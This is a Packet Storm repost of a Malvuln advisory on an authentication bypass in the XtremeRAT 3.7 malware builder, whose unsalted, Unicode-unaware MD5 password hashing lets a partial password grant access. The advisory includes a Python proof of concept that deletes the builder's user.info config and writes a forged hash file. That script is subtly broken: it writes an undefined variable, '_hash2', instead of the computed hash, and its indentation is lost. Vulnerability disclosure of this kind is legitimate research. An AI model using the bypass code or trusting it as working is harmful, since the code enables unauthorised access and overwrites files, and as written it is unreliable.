what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Builder XtremeRAT 3.7 MVID-2022-0624 Insecure Crypto Bypass

Builder XtremeRAT 3.7 MVID-2022-0624 Insecure Crypto Bypass
Posted Jul 18, 2022
Authored by malvuln | Site malvuln.com

Builder XtremeRAT malware version 3.7 suffers from an insecure cryptography implementation vulnerability that allows an attacker to login with only partial knowledge of a secret.

tags | exploit
SHA-256 | 64afc70b38c5684f21216d5ed8e39c73acbe6348ff91c93e3ee63365a41f1707

Builder XtremeRAT 3.7 MVID-2022-0624 Insecure Crypto Bypass

Change Mirror Download
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/7f314e798c150aedd9ce41ed39318f65_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Builder XtremeRAT v3.7
Vulnerability: Insecure Crypto Bypass
Description: The malware builds backdoors and requires authentication to access the GUI using credentials stored in the "user.info" config file. XtremeRAT doesn't properly validate saved passwords are what the user actually set when saving them in user.info config. This can allow attackers who can guess the first few characters the ability to pad the rest with zeroes or whatever character they want, providing they guess the password length. The issue it seems is in Delphi 2009, default string type changed from ANSI, the MD5 implementation is not unicode aware generating incorrect hashes. Therefore, a user may enter the password "abc123" thinking that is the exact password which will grant access to the builder. However, the flaw allows attackers the ability to more easily bypass authentication as only part of the password will now be required as the remainder can be any characters E.g. abc000. Moreover, the hashing implementation used makes no use of a salt. Creating a similar password hash to logon, requires the resulting file size should be be 64 bytes not 32. If you just copy and paste a hash into a file you may see it is only 32 bytes, the one generated by XtremeRAT is 64 bytes as it is encoded.
Family: Xtreme
Type: PE32
MD5: 7f314e798c150aedd9ce41ed39318f65
Vuln ID: MVID-2022-0624
Disclosure: 07/15/2022

Exploit/PoC:
import os, hashlib

#Creates broken unicode MD5 hashes to change an existing XtremeRAT config password.
#By malvuln
#
#=================================================================================
#Basically, if the actual password is 'abc123' and was generated by XtremeRAT
#we only need to guess 3 out of 6 chars E.g. abc000
#as long as we can guess the length we can bypass the need to know the full password.
#We can also emulate broken passwords and replace "user.info" config with ours.

passwd = u'abc'
tmp = hashlib.md5(passwd.encode('utf-16le'))

print("[+] XtremeRAT v3.7 ")
print("[+] Password hash bypass created")
print("[+] By malvuln")
print("[-] " +tmp.hexdigest())
print("Login using abc000 or any last three chars!")

#outputs: ce1473cf80c6b3fda8e3dfc006adc315
#HEX: 610062006300
#Login using abc000, abc!@# or abc123 it don't matter.

XRat_Config="C:\\XtremeRAT_v3.7\\user.info"

if os.path.exists(XRat_Config):
os.remove(XRat_Config)
f=open(XRat_Config, "w", encoding='utf-16LE')
f.write(_hash2)
f.close()

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close